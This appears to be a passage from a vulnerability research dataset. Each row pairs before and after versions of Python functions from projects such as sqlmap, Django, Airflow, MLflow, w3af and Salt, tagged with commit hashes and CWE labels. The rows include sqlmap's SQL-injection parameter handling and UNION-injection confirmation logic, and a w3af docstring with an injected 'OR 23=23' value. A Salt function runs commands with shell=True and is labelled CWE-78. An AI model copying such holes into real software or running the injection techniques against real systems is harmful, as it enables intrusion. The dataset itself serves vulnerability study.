                    elif place == PLACE.CUSTOM_POST and PLACE.POST in conf.paramDict:
                        del conf.paramDict[PLACE.POST]

                testableParameters = True

    if kb.processUserMarks:
        for item in (""url"", ""data"", ""agent"", ""referer"", ""cookie""):
            if conf.get(item):
                conf[item] = conf[item].replace(kb.customInjectionMark, """")

    # Perform checks on Cookie parameters
    if conf.cookie:
        conf.parameters[PLACE.COOKIE] = conf.cookie
        paramDict = paramToDict(PLACE.COOKIE, conf.cookie)

        if paramDict:
            conf.paramDict[PLACE.COOKIE] = paramDict
            testableParameters = True

    # Perform checks on header values
    if conf.httpHeaders:
        for httpHeader, headerValue in list(conf.httpHeaders):
            # Url encoding of the header values should be avoided
            # Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value

            if httpHeader.upper() == HTTP_HEADER.USER_AGENT.upper():
                conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue)

                condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES, True)))

                if condition:
                    conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue}
                    testableParameters = True

            elif httpHeader.upper() == HTTP_HEADER.REFERER.upper():
                conf.parameters[PLACE.REFERER] = urldecode(headerValue)

                condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES, True)))

                if condition:
                    conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue}
                    testableParameters = True

            elif httpHeader.upper() == HTTP_HEADER.HOST.upper():
                conf.parameters[PLACE.HOST] = urldecode(headerValue)

                condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES, True)))

                if condition:
                    conf.paramDict[PLACE.HOST] = {PLACE.HOST: headerValue}
                    testableParameters = True

            else:
                condition = intersect(conf.testParameter, [httpHeader], True)

                if condition:
                    conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders)
                    conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: ""%s,%s%s"" % (httpHeader, headerValue, kb.customInjectionMark)}
                    conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, """")) for _ in conf.httpHeaders]
                    testableParameters = True

    if not conf.parameters:
        errMsg = ""you did not provide any GET, POST and Cookie ""
        errMsg += ""parameter, neither an User-Agent, Referer or Host header value""
        raise SqlmapGenericException(errMsg)

    elif not testableParameters:
        errMsg = ""all testable parameters you provided are not present ""
        errMsg += ""within the given request data""
        raise SqlmapGenericException(errMsg)

    if conf.csrfToken:
        if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r""\b%s\b"" % conf.csrfToken, conf.data or """") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
            errMsg = ""anti-CSRF token parameter '%s' not "" % conf.csrfToken._original
            errMsg += ""found in provided GET, POST, Cookie or header values""
            raise SqlmapGenericException(errMsg)
    else:
        for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE):
            if conf.csrfToken:
                break

            for parameter in conf.paramDict.get(place, {}):
                if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES):
                    message = ""%sparameter '%s' appears to hold anti-CSRF token. "" % (""%s "" % place if place != parameter else """", parameter)
                    message += ""Do you want sqlmap to automatically update it in further requests? [y/N] ""

                    if readInput(message, default='N', boolean=True):
                        class _(six.text_type):
                            pass
                        conf.csrfToken = _(re.escape(getUnicode(parameter)))
                        conf.csrfToken._original = getUnicode(parameter)
                        break"
,UNKNOWN,UNKNOWN,tests/template_tests/filter_tests/test_phone2numeric.py,1,"def test_phone2numeric01(self):
        output = self.engine.render_to_string(
            'phone2numeric01',
            {'a': '<1-800-call-me>', 'b': mark_safe('<1-800-call-me>')},
        )
        self.assertEqual(output, '&lt;1-800-2255-63&gt; <1-800-2255-63>')",CWE-79,django/django,92053acbb9160862c3e743a99ed8ccff8d4f8fd6,"def test_phone2numeric01(self):
        output = self.engine.render_to_string(
            'phone2numeric01',
            {'a': '<1-800-call-me>', 'b': mark_safe('<1-800-call-me>')},
        )
        self.assertEqual(output, '&lt;1-800-2255-63&gt; <1-800-2255-63>')"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/inband/union/test.py,0,"def __unionConfirm(comment, place, parameter, value, prefix, suffix, count):
    validPayload = None
    unionVector = None

    # Confirm the inband SQL injection and get the exact column
    # position which can be used to extract data
    if not isinstance(kb.unionPosition, int):
        validPayload, unionVector = __unionPosition(comment, place, parameter, value, prefix, suffix, count)

        # Assure that the above function found the exploitable full inband
        # SQL injection position
        if not isinstance(kb.unionPosition, int):
            validPayload, unionVector = __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=2)

            # Assure that the above function found the exploitable partial
            # (single entry) inband SQL injection position with negative
            # parameter validPayload
            if not isinstance(kb.unionPosition, int):
                return None, None
            else:
                setUnion(negative=True)

    return validPayload, unionVector",,sqlmapproject/sqlmap,2f5995a7eb85c3f62e767ac9c050f4710179376a,"def __unionConfirm(comment, place, parameter, value, prefix, suffix, count):
    validPayload = None
    unionVector = None

    # Confirm the inband SQL injection and get the exact column
    # position which can be used to extract data
    if not isinstance(kb.unionPosition, int):
        debugMsg = ""testing full inband with %s columns"" % count
        logger.debug(debugMsg)

        validPayload, unionVector = __unionPosition(comment, place, parameter, value, prefix, suffix, count)

        # Assure that the above function found the exploitable full inband
        # SQL injection position
        if not isinstance(kb.unionPosition, int):
            debugMsg = ""testing single-entry inband with %s columns"" % count
            logger.debug(debugMsg)

            validPayload, unionVector = __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=2)

            # Assure that the above function found the exploitable partial
            # (single entry) inband SQL injection position with negative
            # parameter validPayload
            if not isinstance(kb.unionPosition, int):
                return None, None
            else:
                setUnion(negative=True)

    return validPayload, unionVector"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/google/cloud/sensors/gcs.py,0,"def execute_complete(self, context: Context, event: dict[str, str]) -> str:
        """"""
        Callback for when the trigger fires - returns immediately.

        Relies on trigger to throw an exception, otherwise it assumes execution was successful.
        """"""
        if event[""status""] == ""error"":
            raise AirflowException(event[""message""])
        self.log.info(""File %s was found in bucket %s."", self.object, self.bucket)
        return event[""message""]",CWE-Unknown,apache/airflow,0f73647bdab79ac6c30961222924f6166f75b55a,"def execute_complete(self, context: Context, event: dict[str, str]) -> str:
        """"""
        Callback for when the trigger fires - returns immediately.
        Relies on trigger to throw an exception, otherwise it assumes execution was
        successful.
        """"""
        if event[""status""] == ""error"":
            raise AirflowException(event[""message""])
        self.log.info(""File %s was found in bucket %s."", self.object, self.bucket)
        return event[""message""]"
,UNKNOWN,UNKNOWN,tests/tracking/test_model_registry.py,1,"def test_create_and_query_registered_model_flow(mlflow_client, backend_store_uri):
    name = 'CreateRMTest'
    start_time = now()
    registered_model = mlflow_client.create_registered_model(name)
    end_time = now()
    assert isinstance(registered_model, RegisteredModel)
    assert registered_model.name == name
    registered_model_detailed = mlflow_client.get_registered_model(name)
    assert isinstance(registered_model_detailed, RegisteredModel)
    assert registered_model_detailed.name == name
    assert str(registered_model_detailed.description) == """"
    assert registered_model_detailed.latest_versions == []
    assert_is_between(start_time, end_time, registered_model_detailed.creation_timestamp)
    assert_is_between(start_time, end_time, registered_model_detailed.last_updated_timestamp)
    assert [name] == [rm.name for rm in mlflow_client.list_registered_models() if rm.name == name]
    # clean up test
    mlflow_client.delete_registered_model(name)",CWE-703,mlflow/mlflow,4f576bbcb889275fda303fe531344ff6bb160c9d,"def test_create_and_query_registered_model_flow(mlflow_client, backend_store_uri):
    name = 'CreateRMTest'
    start_time = now()
    registered_model = mlflow_client.create_registered_model(name)
    end_time = now()
    assert isinstance(registered_model, RegisteredModel)
    assert registered_model.name == name
    registered_model_detailed = mlflow_client.get_registered_model(name)
    assert isinstance(registered_model_detailed, RegisteredModel)
    assert registered_model_detailed.name == name
    assert str(registered_model_detailed.description) == """"
    assert registered_model_detailed.latest_versions == []
    assert_is_between(start_time, end_time, registered_model_detailed.creation_timestamp)
    assert_is_between(start_time, end_time, registered_model_detailed.last_updated_timestamp)
    assert [name] == [rm.name for rm in mlflow_client.list_registered_models() if rm.name == name]"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/jobs/test_scheduler_job.py,1,"def test_extra_operator_links_not_loaded_in_scheduler_loop(self, dag_maker):
        """"""
        Test that Operator links are not loaded inside the Scheduling Loop (that does not include
        DagFileProcessorProcess) especially the critical loop of the Scheduler.

        This is to avoid running User code in the Scheduler and prevent any deadlocks
        """"""
        with dag_maker(dag_id=""test_extra_operator_links_not_loaded_in_scheduler"") as dag:
            # This CustomOperator has Extra Operator Links registered via plugins
            _ = CustomOperator(task_id=""custom_task"")

        custom_task = dag.task_dict[""custom_task""]
        # Test that custom_task has >= 1 Operator Links (after de-serialization)
        assert custom_task.operator_extra_links

        session = settings.Session()
        scheduler_job = Job(executor=self.null_exec)
        self.job_runner = SchedulerJobRunner(job=scheduler_job)
        self.job_runner._do_scheduling(session=session)
        self.job_runner._start_queued_dagruns(session)
        session.flush()
        # assert len(self.job_runner.scheduler_dag_bag._dags) == 1  # sanity check
        # Get serialized dag
        dr = DagRun.find(dag_id=dag.dag_id)[0]
        s_dag_2 = self.job_runner.scheduler_dag_bag.get_dag(dr, session=session)
        custom_task = s_dag_2.task_dict[""custom_task""]
        # Test that custom_task has no Operator Links (after de-serialization) in the Scheduling Loop
        assert not custom_task.operator_extra_links",CWE-703,apache/airflow,986a2df2ed4a3a1aca87b961211e124114f2052d,"def test_extra_operator_links_not_loaded_in_scheduler_loop(self, dag_maker):
        """"""
        Test that Operator links are not loaded inside the Scheduling Loop (that does not include
        DagFileProcessorProcess) especially the critical loop of the Scheduler.

        This is to avoid running User code in the Scheduler and prevent any deadlocks
        """"""
        with dag_maker(dag_id=""test_extra_operator_links_not_loaded_in_scheduler"") as dag:
            # This CustomOperator has Extra Operator Links registered via plugins
            _ = CustomOperator(task_id=""custom_task"")

        custom_task = dag.task_dict[""custom_task""]
        # Test that custom_task has >= 1 Operator Links (after de-serialization)
        assert custom_task.operator_extra_links

        session = settings.Session()
        scheduler_job = Job(executor=self.null_exec)
        self.job_runner = SchedulerJobRunner(job=scheduler_job)
        self.job_runner._do_scheduling(session=session)
        self.job_runner._start_queued_dagruns(session)
        session.flush()
        # assert len(self.job_runner.scheduler_dag_bag._dags) == 1  # sanity check
        # Get serialized dag
        dr = DagRun.find(dag_id=dag.dag_id)[0]
        s_dag_2 = self.job_runner.scheduler_dag_bag.get_dag(dr, session=session)
        custom_task = s_dag_2.task_dict[""custom_task""]
        # Test that custom_task has no Operator Links (after de-serialization) in the Scheduling Loop
        assert not custom_task.operator_extra_links"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/url/helpers.py,0,"def get_clean_body(mutant, response):
    """"""
    @see: Very similar to fingerprint_404.py get_clean_body() bug not quite
          the same maybe in the future I can merge both?

    Definition of clean in this method:
        - input:
            - response.get_url() == http://host.tld/aaaaaaa/?id=1 OR 23=23
            - response.get_body() == '...<x>1 OR 23=23</x>...'

        - output:
            - self._clean_body(response) == '...<x></x>...'

    All injected values are removed encoded and 'as is'.

    :param mutant: The mutant where I can get the value from.
    :param response: The HTTPResponse object to clean
    :return: A string that represents the 'cleaned' response body.
    """"""
    if not response.is_text_or_html():
        return response.body

    strings_to_replace_list = [mutant.get_token_value()]
    return _get_clean_body_impl(response, strings_to_replace_list)",,andresriancho/w3af,57448e0e3fb085e283718a00a2db9767381689b7,"def get_clean_body(mutant, response):
    """"""
    @see: Very similar to fingerprint_404.py get_clean_body() bug not quite
          the same maybe in the future I can merge both?

    Definition of clean in this method:
        - input:
            - response.get_url() == http://host.tld/aaaaaaa/?id=1 OR 23=23
            - response.get_body() == '...<x>1 OR 23=23</x>...'

        - output:
            - self._clean_body(response) == '...<x></x>...'

    All injected values are removed encoded and 'as is'.

    :param mutant: The mutant where I can get the value from.
    :param response: The HTTPResponse object to clean
    :return: A string that represents the 'cleaned' response body.
    """"""
    if not response.is_text_or_html():
        return response.body

    body = response.body
    mod_value_1 = mutant.get_token_value()

    # Since the body is already in unicode, when we call body.replace() all
    # arguments are converted to unicode by python. If there are special
    # chars in the mod_value then we end up with an UnicodeDecodeError, so
    # I convert it myself with some error handling
    #
    # https://github.com/andresriancho/w3af/issues/8953
    mod_value_1 = smart_unicode(mod_value_1, errors=PERCENT_ENCODE)

    # unquote, just in case the plugin did an extra encoding of some type.
    # what we want to do here is get the original version of the string
    mod_value_2 = urllib.unquote_plus(mod_value_1)

    payloads_to_replace = set()
    payloads_to_replace.add(mod_value_1)
    payloads_to_replace.add(mod_value_2)

    encoded_payloads = set()

    for payload in payloads_to_replace:
        for encoded_payload in apply_multi_escape_table(payload,
                                                        EXTENDED_TABLE):
            encoded_payloads.add(encoded_payload)

    # uniq sorted by longest len
    encoded_payloads = list(encoded_payloads)
    encoded_payloads.sort(lambda x, y: cmp(len(y), len(x)))

    empty = u''
    replace = unicode.replace
    for to_replace in encoded_payloads:
        body = replace(body, to_replace, empty)

    return body"
,UNKNOWN,UNKNOWN,tests/tracking/test_model_registry.py,1,"def test_create_and_query_model_version_flow(mlflow_client, backend_store_uri):
    name = ""CreateMVTest""
    tags = {""key"": ""value"", ""another key"": ""some other value"", ""numeric value"": 12345}
    mlflow_client.create_registered_model(name)
    mv1 = mlflow_client.create_model_version(name, ""path/to/model"", ""run_id_1"", tags)
    assert mv1.version == ""1""
    assert mv1.name == name
    assert mv1.tags == {""key"": ""value"", ""another key"": ""some other value"", ""numeric value"": ""12345""}
    mvd1 = mlflow_client.get_model_version(name, ""1"")
    assert mvd1.tags == {
        ""key"": ""value"",
        ""another key"": ""some other value"",
        ""numeric value"": ""12345"",
    }
    assert [[mvd1]] == [
        rm.latest_versions for rm in mlflow_client.list_registered_models() if rm.name == name
    ]
    mv2 = mlflow_client.create_model_version(name, ""another_path/to/model"", ""run_id_1"")
    assert mv2.version == ""2""
    assert mv2.name == name
    mvd2 = mlflow_client.get_model_version(name, ""2"")
    assert [[mvd2]] == [
        rm.latest_versions for rm in mlflow_client.list_registered_models() if rm.name == name
    ]
    model_versions_by_name = mlflow_client.search_model_versions(""name = '%s'"" % name)
    assert {""1"", ""2""} == set([mv.version for mv in model_versions_by_name])
    assert {name} == set([mv.name for mv in model_versions_by_name])

    mv3 = mlflow_client.create_model_version(name, ""another_path/to/model"", ""run_id_2"")
    assert mv3.version == ""3""
    assert [mvd1] == mlflow_client.search_model_versions(""source_path = 'path/to/model'"")
    assert [mvd2, mvd1] == mlflow_client.search_model_versions(""run_id = 'run_id_1'"")

    assert ""path/to/model"" == mlflow_client.get_model_version_download_uri(name, ""1"")",CWE-703,mlflow/mlflow,eb273d656fa2778cf6c98031fd33c9ee85bec304,"def test_create_and_query_model_version_flow(mlflow_client, backend_store_uri):
    name = ""CreateMVTest""
    tags = {""key"": ""value"", ""another key"": ""some other value"", ""numeric value"": 12345}
    mlflow_client.create_registered_model(name)
    mv1 = mlflow_client.create_model_version(name, ""path/to/model"", ""run_id_1"", tags)
    assert mv1.version == ""1""
    assert mv1.name == name
    assert mv1.tags == {""key"": ""value"", ""another key"": ""some other value"", ""numeric value"": ""12345""}
    mvd1 = mlflow_client.get_model_version(name, ""1"")
    assert mvd1.tags == {
        ""key"": ""value"",
        ""another key"": ""some other value"",
        ""numeric value"": ""12345"",
    }
    assert [[mvd1]] == [
        rm.latest_versions for rm in mlflow_client.list_registered_models() if rm.name == name
    ]
    mv2 = mlflow_client.create_model_version(name, ""another_path/to/model"", ""run_id_1"")
    assert mv2.version == ""2""
    assert mv2.name == name
    mvd2 = mlflow_client.get_model_version(name, ""2"")
    assert [[mvd2]] == [
        rm.latest_versions for rm in mlflow_client.list_registered_models() if rm.name == name
    ]
    model_versions_by_name = mlflow_client.search_model_versions(""name = '%s'"" % name)
    assert set([""1"", ""2""]) == set([mv.version for mv in model_versions_by_name])
    assert set([name]) == set([mv.name for mv in model_versions_by_name])

    mv3 = mlflow_client.create_model_version(name, ""another_path/to/model"", ""run_id_2"")
    assert mv3.version == ""3""
    assert [mvd1] == mlflow_client.search_model_versions(""source_path = 'path/to/model'"")
    assert [mvd2, mvd1] == mlflow_client.search_model_versions(""run_id = 'run_id_1'"")

    assert ""path/to/model"" == mlflow_client.get_model_version_download_uri(name, ""1"")"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/contrib/operators/test_emr_add_steps_operator.py,0,"def setUp(self):
        configuration.load_test_config()

        # Mock out the emr_client (moto has incorrect response)
        mock_emr_client = MagicMock()
        mock_emr_client.add_job_flow_steps.return_value = ADD_STEPS_SUCCESS_RETURN

        mock_emr_session = MagicMock()
        mock_emr_session.client.return_value = mock_emr_client

        # Mock out the emr_client creator
        self.boto3_session_mock = MagicMock(return_value=mock_emr_session)",CWE-Unknown,apache/airflow,82a65eeca9bc654cec4d0f356c3db70bc8ab6838,"def setUp(self):
        configuration.load_test_config()

        # Mock out the emr_client (moto has incorrect response)
        mock_emr_client = MagicMock()
        mock_emr_client.add_job_flow_steps.return_value = ADD_STEPS_SUCCESS_RETURN

        # Mock out the emr_client creator
        self.boto3_client_mock = MagicMock(return_value=mock_emr_client)"
,UNKNOWN,UNKNOWN,tests/cli/commands/remote_commands/test_task_command.py,1,"def test_test(self):
        """"""Test the `airflow test` command""""""
        args = self.parser.parse_args(
            [""tasks"", ""test"", ""example_python_operator"", ""print_the_context"", ""2018-01-01""]
        )

        with redirect_stdout(io.StringIO()) as stdout:
            task_command.task_test(args)

        # Check that prints, and log messages, are shown
        assert ""'example_python_operator__print_the_context__20180101'"" in stdout.getvalue()",CWE-703,apache/airflow,f50f1cea452630ad1abac98b0a409ff0465147a9,"def test_test(self):
        """"""Test the `airflow test` command""""""
        args = self.parser.parse_args(
            [""tasks"", ""test"", ""example_python_operator"", ""print_the_context"", ""2018-01-01""]
        )

        with redirect_stdout(io.StringIO()) as stdout:
            task_command.task_test(args)

        # Check that prints, and log messages, are shown
        assert ""'example_python_operator__print_the_context__20180101'"" in stdout.getvalue()"
,UNKNOWN,UNKNOWN,django/db/backends/sqlite3/base.py,1,"def get_new_connection(self, conn_params):
        conn = Database.connect(**conn_params)
        create_deterministic_function = functools.partial(
            conn.create_function,
            deterministic=True,
        )
        create_deterministic_function('django_date_extract', 2, _sqlite_datetime_extract)
        create_deterministic_function('django_date_trunc', 4, _sqlite_date_trunc)
        create_deterministic_function('django_datetime_cast_date', 3, _sqlite_datetime_cast_date)
        create_deterministic_function('django_datetime_cast_time', 3, _sqlite_datetime_cast_time)
        create_deterministic_function('django_datetime_extract', 4, _sqlite_datetime_extract)
        create_deterministic_function('django_datetime_trunc', 4, _sqlite_datetime_trunc)
        create_deterministic_function('django_time_extract', 2, _sqlite_time_extract)
        create_deterministic_function('django_time_trunc', 4, _sqlite_time_trunc)
        create_deterministic_function('django_time_diff', 2, _sqlite_time_diff)
        create_deterministic_function('django_timestamp_diff', 2, _sqlite_timestamp_diff)
        create_deterministic_function('django_format_dtdelta', 3, _sqlite_format_dtdelta)
        create_deterministic_function('regexp', 2, _sqlite_regexp)
        create_deterministic_function('ACOS', 1, none_guard(math.acos))
        create_deterministic_function('ASIN', 1, none_guard(math.asin))
        create_deterministic_function('ATAN', 1, none_guard(math.atan))
        create_deterministic_function('ATAN2', 2, none_guard(math.atan2))
        create_deterministic_function('BITXOR', 2, none_guard(operator.xor))
        create_deterministic_function('CEILING', 1, none_guard(math.ceil))
        create_deterministic_function('COS', 1, none_guard(math.cos))
        create_deterministic_function('COT', 1, none_guard(lambda x: 1 / math.tan(x)))
        create_deterministic_function('DEGREES', 1, none_guard(math.degrees))
        create_deterministic_function('EXP', 1, none_guard(math.exp))
        create_deterministic_function('FLOOR', 1, none_guard(math.floor))
        create_deterministic_function('LN', 1, none_guard(math.log))
        create_deterministic_function('LOG', 2, none_guard(lambda x, y: math.log(y, x)))
        create_deterministic_function('LPAD', 3, _sqlite_lpad)
        create_deterministic_function('MD5', 1, none_guard(lambda x: md5(x.encode()).hexdigest()))
        create_deterministic_function('MOD', 2, none_guard(math.fmod))
        create_deterministic_function('PI', 0, lambda: math.pi)
        create_deterministic_function('POWER', 2, none_guard(operator.pow))
        create_deterministic_function('RADIANS', 1, none_guard(math.radians))
        create_deterministic_function('REPEAT', 2, none_guard(operator.mul))
        create_deterministic_function('REVERSE', 1, none_guard(lambda x: x[::-1]))
        create_deterministic_function('RPAD', 3, _sqlite_rpad)
        create_deterministic_function('SHA1', 1, none_guard(lambda x: hashlib.sha1(x.encode()).hexdigest()))
        create_deterministic_function('SHA224', 1, none_guard(lambda x: hashlib.sha224(x.encode()).hexdigest()))
        create_deterministic_function('SHA256', 1, none_guard(lambda x: hashlib.sha256(x.encode()).hexdigest()))
        create_deterministic_function('SHA384', 1, none_guard(lambda x: hashlib.sha384(x.encode()).hexdigest()))
        create_deterministic_function('SHA512', 1, none_guard(lambda x: hashlib.sha512(x.encode()).hexdigest()))
        create_deterministic_function('SIGN', 1, none_guard(lambda x: (x > 0) - (x < 0)))
        create_deterministic_function('SIN', 1, none_guard(math.sin))
        create_deterministic_function('SQRT', 1, none_guard(math.sqrt))
        create_deterministic_function('TAN', 1, none_guard(math.tan))
        # Don't use the built-in RANDOM() function because it returns a value
        # in the range [-1 * 2^63, 2^63 - 1] instead of [0, 1).
        conn.create_function('RAND', 0, random.random)
        conn.create_aggregate('STDDEV_POP', 1, list_aggregate(statistics.pstdev))
        conn.create_aggregate('STDDEV_SAMP', 1, list_aggregate(statistics.stdev))
        conn.create_aggregate('VAR_POP', 1, list_aggregate(statistics.pvariance))
        conn.create_aggregate('VAR_SAMP', 1, list_aggregate(statistics.variance))
        conn.execute('PRAGMA foreign_keys = ON')
        # The macOS bundled SQLite defaults legacy_alter_table ON, which
        # prevents atomic table renames (feature supports_atomic_references_rename)
        conn.execute('PRAGMA legacy_alter_table = OFF')
        return conn",CWE-327,django/django,063cf98d3a6839f40c423cbd845def429c5cf0ce,"def get_new_connection(self, conn_params):
        conn = Database.connect(**conn_params)
        create_deterministic_function = functools.partial(
            conn.create_function,
            deterministic=True,
        )
        create_deterministic_function('django_date_extract', 2, _sqlite_datetime_extract)
        create_deterministic_function('django_date_trunc', 4, _sqlite_date_trunc)
        create_deterministic_function('django_datetime_cast_date', 3, _sqlite_datetime_cast_date)
        create_deterministic_function('django_datetime_cast_time', 3, _sqlite_datetime_cast_time)
        create_deterministic_function('django_datetime_extract', 4, _sqlite_datetime_extract)
        create_deterministic_function('django_datetime_trunc', 4, _sqlite_datetime_trunc)
        create_deterministic_function('django_time_extract', 2, _sqlite_time_extract)
        create_deterministic_function('django_time_trunc', 4, _sqlite_time_trunc)
        create_deterministic_function('django_time_diff', 2, _sqlite_time_diff)
        create_deterministic_function('django_timestamp_diff', 2, _sqlite_timestamp_diff)
        create_deterministic_function('django_format_dtdelta', 3, _sqlite_format_dtdelta)
        create_deterministic_function('regexp', 2, _sqlite_regexp)
        create_deterministic_function('ACOS', 1, none_guard(math.acos))
        create_deterministic_function('ASIN', 1, none_guard(math.asin))
        create_deterministic_function('ATAN', 1, none_guard(math.atan))
        create_deterministic_function('ATAN2', 2, none_guard(math.atan2))
        create_deterministic_function('BITXOR', 2, none_guard(operator.xor))
        create_deterministic_function('CEILING', 1, none_guard(math.ceil))
        create_deterministic_function('COS', 1, none_guard(math.cos))
        create_deterministic_function('COT', 1, none_guard(lambda x: 1 / math.tan(x)))
        create_deterministic_function('DEGREES', 1, none_guard(math.degrees))
        create_deterministic_function('EXP', 1, none_guard(math.exp))
        create_deterministic_function('FLOOR', 1, none_guard(math.floor))
        create_deterministic_function('LN', 1, none_guard(math.log))
        create_deterministic_function('LOG', 2, none_guard(lambda x, y: math.log(y, x)))
        create_deterministic_function('LPAD', 3, _sqlite_lpad)
        create_deterministic_function('MD5', 1, none_guard(lambda x: md5(x.encode()).hexdigest()))
        create_deterministic_function('MOD', 2, none_guard(math.fmod))
        create_deterministic_function('PI', 0, lambda: math.pi)
        create_deterministic_function('POWER', 2, none_guard(operator.pow))
        create_deterministic_function('RADIANS', 1, none_guard(math.radians))
        create_deterministic_function('REPEAT', 2, none_guard(operator.mul))
        create_deterministic_function('REVERSE', 1, none_guard(lambda x: x[::-1]))
        create_deterministic_function('RPAD', 3, _sqlite_rpad)
        create_deterministic_function('SHA1', 1, none_guard(lambda x: hashlib.sha1(x.encode()).hexdigest()))
        create_deterministic_function('SHA224', 1, none_guard(lambda x: hashlib.sha224(x.encode()).hexdigest()))
        create_deterministic_function('SHA256', 1, none_guard(lambda x: hashlib.sha256(x.encode()).hexdigest()))
        create_deterministic_function('SHA384', 1, none_guard(lambda x: hashlib.sha384(x.encode()).hexdigest()))
        create_deterministic_function('SHA512', 1, none_guard(lambda x: hashlib.sha512(x.encode()).hexdigest()))
        create_deterministic_function('SIGN', 1, none_guard(lambda x: (x > 0) - (x < 0)))
        create_deterministic_function('SIN', 1, none_guard(math.sin))
        create_deterministic_function('SQRT', 1, none_guard(math.sqrt))
        create_deterministic_function('TAN', 1, none_guard(math.tan))
        # Don't use the built-in RANDOM() function because it returns a value
        # in the range [-1 * 2^63, 2^63 - 1] instead of [0, 1).
        conn.create_function('RAND', 0, random.random)
        conn.create_aggregate('STDDEV_POP', 1, list_aggregate(statistics.pstdev))
        conn.create_aggregate('STDDEV_SAMP', 1, list_aggregate(statistics.stdev))
        conn.create_aggregate('VAR_POP', 1, list_aggregate(statistics.pvariance))
        conn.create_aggregate('VAR_SAMP', 1, list_aggregate(statistics.variance))
        conn.execute('PRAGMA foreign_keys = ON')
        return conn"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/key.py,0,"def list_keys(self):
        '''
        Return a dict of managed keys and what the key status are
        '''

        key_dirs = []

        # We have to differentiate between RaetKey._check_minions_directories
        # and Zeromq-Keys. Raet-Keys only have three states while ZeroMQ-keys
        # havd an additional 'denied' state.
        if self.opts['transport'] in ('zeromq', 'tcp'):
            key_dirs = self._check_minions_directories()
        else:
            key_dirs = self._check_minions_directories()

        ret = {}

        for dir_ in key_dirs:
            ret[os.path.basename(dir_)] = []
            try:
                for fn_ in salt.utils.isorted(os.listdir(dir_)):
                    if not fn_.startswith('.'):
                        if os.path.isfile(os.path.join(dir_, fn_)):
                            ret[os.path.basename(dir_)].append(fn_)
            except (OSError, IOError):
                # key dir kind is not created yet, just skip
                continue
        return ret",,saltstack/salt,87362fd01963d2fdf18390e51f8898a87902b42f,"def list_keys(self):
        '''
        Return a dict of managed keys and what the key status are
        '''

        key_dirs = []

        # We have to differentiate between RaetKey._check_minions_directories
        # and Zeromq-Keys. Raet-Keys only have three states while ZeroMQ-keys
        # havd an additional 'denied' state.
        if self.opts['transport'] == 'zeromq':
            key_dirs = self._check_minions_directories()
        else:
            key_dirs = self._check_minions_directories()

        ret = {}

        for dir_ in key_dirs:
            ret[os.path.basename(dir_)] = []
            try:
                for fn_ in salt.utils.isorted(os.listdir(dir_)):
                    if not fn_.startswith('.'):
                        if os.path.isfile(os.path.join(dir_, fn_)):
                            ret[os.path.basename(dir_)].append(fn_)
            except (OSError, IOError):
                # key dir kind is not created yet, just skip
                continue
        return ret"
,UNKNOWN,UNKNOWN,salt/modules/cmd.py,1,"def _run(cmd,
        cwd=DEFAULT_CWD,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE):
    '''
    Do the DRY thing and only call subprocess.Popen() once
    '''
    ret = {}
    log.info('Executing command {0} in directory {1}'.format(cmd, cwd))
    proc = subprocess.Popen(cmd,
        cwd=cwd,
        shell=True,
        stdout=stdout,
        stderr=stderr,
    )
    out = proc.communicate()
    ret['stdout'] = out[0]
    ret['stderr'] = out[1]
    ret['retcode'] = proc.returncode
    ret['pid'] = proc.pid

    return ret",CWE-78,saltstack/salt,24db5ea20421e00bd69999745541ef2244430bde,"def _run(cmd,
        cwd=DEFAULT_CWD,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE):
    '''
    Do the DRY thing and only call subprocess.Popen() once

    '''
    ret = {}
    log.info('Executing command {0} in directory {1}'.format(cmd, cwd))
    proc = subprocess.Popen(cmd,
        cwd=cwd,
        shell=True,
        stdout=stdout,
        stderr=stderr,
    )
    out = proc.communicate()
    ret['stdout'] = out[0]
    ret['stderr'] = out[1]
    ret['retcode'] = proc.returncode
    ret['pid'] = proc.pid

    return ret"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/test/html.py,0,"def __str__(self):
        output = '<%s' % self.name
        for key, value in self.attributes:
            if value:
                output += ' %s=""%s""' % (key, value)
            else:
                output += ' %s' % key
        if self.children:
            output += '>\n'
            output += ''.join(str(c) for c in self.children)
            output += '\n</%s>' % self.name
        else:
            output += '>'
        return output",CWE-Unknown,django/django,ff05de760cc4ef4c7f188e163c722ec3bc1f0cbf,"def __str__(self):
        output = '<%s' % self.name
        for key, value in self.attributes:
            if value:
                output += ' %s=""%s""' % (key, value)
            else:
                output += ' %s' % key
        if self.children:
            output += '>\n'
            output += ''.join(str(c) for c in self.children)
            output += '\n</%s>' % self.name
        else:
            output += ' />'
        return output"
,UNKNOWN,UNKNOWN,tests/unit/transport/test_zeromq.py,1,"def test_master_uri(self):
        '''
        test _get_master_uri method
        '''

        m_ip = '127.0.0.1'
        m_port = 4505
        s_ip = '111.1.0.1'
        s_port = 4058

